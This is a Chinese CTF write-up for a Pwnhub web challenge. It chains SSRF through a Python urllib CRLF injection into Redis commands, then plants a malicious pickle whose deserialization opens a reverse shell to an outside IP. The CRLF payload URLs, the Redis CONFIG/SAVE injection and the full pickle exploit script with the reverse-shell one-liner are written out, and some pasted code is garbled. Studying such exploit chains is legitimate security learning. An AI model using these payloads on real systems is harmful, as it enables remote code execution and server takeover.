Pwnhub公开赛之WEB题WriteUp

0x00 前言

前段时间刚好看了p师傅的《Python安全 - 从SSRF到命令执行惨案》,没想到这次pwnhub公开赛就碰到了,思路几乎一模一样,都是通过ssrf结合python urllib的http头注入漏洞,对redis进行利用。

本人总结的原文思路如下图:

image

0x01 SSRF

随意注册账号后进入系统,检查了一遍只有一个 flag-spider功能,让输入url。猜测是考ssrf。

image

测试了几个地址,发现

  1. 可以连接到远程vps。

    image

  2. 可以使用file:///协议读取本地文件,尝试读取常见flag路径,不出意外是失败的,应该是改名了。

    image

  3. 6379端口开放redis服务

    image

0x02 代码审计

使用file协议file:///proc/self/cmdline读取运行命令,发现是用gunicorn服务器启动了run.py文件。

1
gunicorn --config=config.py run:app

读取run.py

image

根据源码中import的模块,将user.pysipder.py都读取下来,本地搭个环境进行测试。

首先看flag-spider功能的逻辑,定位到run.py中spider函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
@ app.route('/spider/', methods = 「'GET', 'POST'1)
def spider():
cookie = request.cookies.get( 'Cookie')
try:
if Cookie.verify(cookie) and redis.exists(cookie):
user = redis.get(cookie)
user = pickle. loads(user)
except:
return abort(500)
result = ''
if request.method == "GET":
result = ''
elif request.method != “GET" and request.form.get('url') != None:
try:
target_url = request.form.get('url')
new spider = Spider(target url)
result = new spider.spiderFlag()
except Excetion as e:
result e
return render template("spider.html", result = str(result), user = user)

分析spider函数可知:

  1. 获取cookie,如果cookie验证通过且redis存在,则获取redis中cookie对应的值进行反序列化
  2. 如果method不为get且传入url参数,则调用Spider类对url进行爬取。

再看Spider类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import urllib 
import urllib.request
from bs4 import BeautifulSoup
class Spider:
def __init__(self, url):
self.target_url = url
def __getResponse(self):
try:
info = urllib.request.urlopen(self.target_url).read().decode("utf-8")
return (info, True)
except Exception as err:
return (err, False)
def spiderFlag(self):
infos = self.__getResponse()
if infos[1]:
soup = BeautifulSoup(infos[0])
flag = soup.find(id=='flag')
return infos[0]
return flag.text
return infos[0]

可以看出Spider类使用了urllib库对目标url发起请求,而这个库恰好也是p师傅文章中利用的一个点。

注册逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
@ app.route('/register/', methods = ['GET', 'POST']) 
def register():
if request.method != 'GET':
email = request.form.get('email')
username = request.form.get('username')
password = request.form.get('password')
user = User(email, username, password)
cookie = Cookie()
cookie.create = username
cookie = cookie.create
try:
if not redis.exists(cookie):
redis.set(cookie, pickle.dumps(user))
resp = make_response(redirect(url_for('home')))
resp.set_cookie("Cookie", cookie)
return resp
except: abort(500)

return render_template("register.html")
  1. 访问页面时先根据cookie在redis中查找key,若有则进行反序列化。
  2. 用户注册时,根据user生成一个hash值,再拼接user作为cookie
  3. User对象反序列化存储到redis中,对应的key就是cookie

本地测试注册后redis中的数据:

image

猜测肯定就是要利用反序列化漏洞了。思路就是将redis中用户对应的的key设置为序列化后的payload,然后重新访问页面触发。

接下来需要解决如何设置redis中的任意key,也就是找到urllib漏洞。

0x03 Python urllib3.5 CRLF注入

通过发送http请求对redis进行利用方式是,在请求包协议行后(也就是第二行)插入redis命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
GET / HTTP/1.1
config set dir /tmp
Host: xx.xx.xx.xx:6379
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close

GET /? HTTP/1.1
config set dbfilename test
Host: xx.xx.xx.xx:6379
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close

GET /? HTTP/1.1
save
Host: xx.xx.xx.xx:6379
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close

那么如果控制了http请求头,就可以在redis中执行set命令,将key设置为paylaod。

从服务器发送到vps的请求头看,目标服务器用的是urllib3.5版本。

在本地下载python3.5.0,测试如下:

  • CVE-2016-5699(失败): http://[vps-ip]%0d%0aX-injected:%20header:8888
  • CVE-2019-9740(失败): http://[vps-ip]%0d%0a%0d%0aheaders:8888
  • CVE-2019-9947(失败): http://[vps-ip]:8888?%0d%0apayload%0d%0apadding
  • CVE-2019-9740(成功): http://[vps-ip]:8888?%20HTTP/1.1%0d%0aCONFIG SET dir /tmp%0d%0aTEST: 123:8080/test/?test=a

image

payload:

1
2
3
http://127.0.0.1:6378?%20HTTP/1.1%0d%0aCONFIG SET dir /tmp%0d%0aTEST: 123:8080/test/?test=a
http://127.0.0.1:6378?%20HTTP/1.1%0d%0aCONFIG SET dbfilename test12345%0d%0aTEST: 123:8080/test/?test=a
http://127.0.0.1:6378?%20HTTP/1.1%0d%0aSAVE%0d%0aTEST: 123:8080/test/?test=a

本地在burp中测试了多次(\r\n要url编码),返回报错:

image

但是服务器上成功创建了文件:

image

对比赛服务器进行测试,写入到/tmp/qweqwe文件,再用file:///tmp/qweqwe读取。

image

utf-8 code can't decode byte xxx,说明文件写成功。

0x04 Redis利用

接下来尝试修改redis中的key。

本地测试payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/env python
import pickle
from flask import Flask, session
from redis import StrictRedis
from user import *
import os
import requests

app = Flask(__name__)
redis = StrictRedis(host = '127.0.0.1', port = 6378, db = 0)


class exp(object):
def __reduce__(self):
s = """/usr/local/python3/bin/python3.5 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("134.175.2.34",8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
return (os.system, (s,))

def localtest():
key = 'admin1ac8dc1444250362004b743fa951951b'
e = pickle.dumps(exp()).replace("\n",'\\n').replace("\"","\\\"")

payload = "http://127.0.0.1:6378?%20HTTP/1.1\r\nset \"admin1ac8dc1444250362004b743fa951951b\" \"" + e + "\"\r\nTEST: 123:8080/test/?test=a"
print payload
data = {'url': payload}
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
r = requests.post("http://134.175.2.34:5000/spider/", data=data, headers=headers)
print r.content

localtest()

image

redis中反弹shell写入成功:

image

触发反序列化

1
curl -X POST 'http://127.0.0.1:5000/spider/'

成功反弹shell:

image

远程测试发现建立了连接,但是并没有shell。尝试备用地址才反弹成功,不知道什么原因= =。

image

最终在根目录下发现flag文件。

0x05 参考链接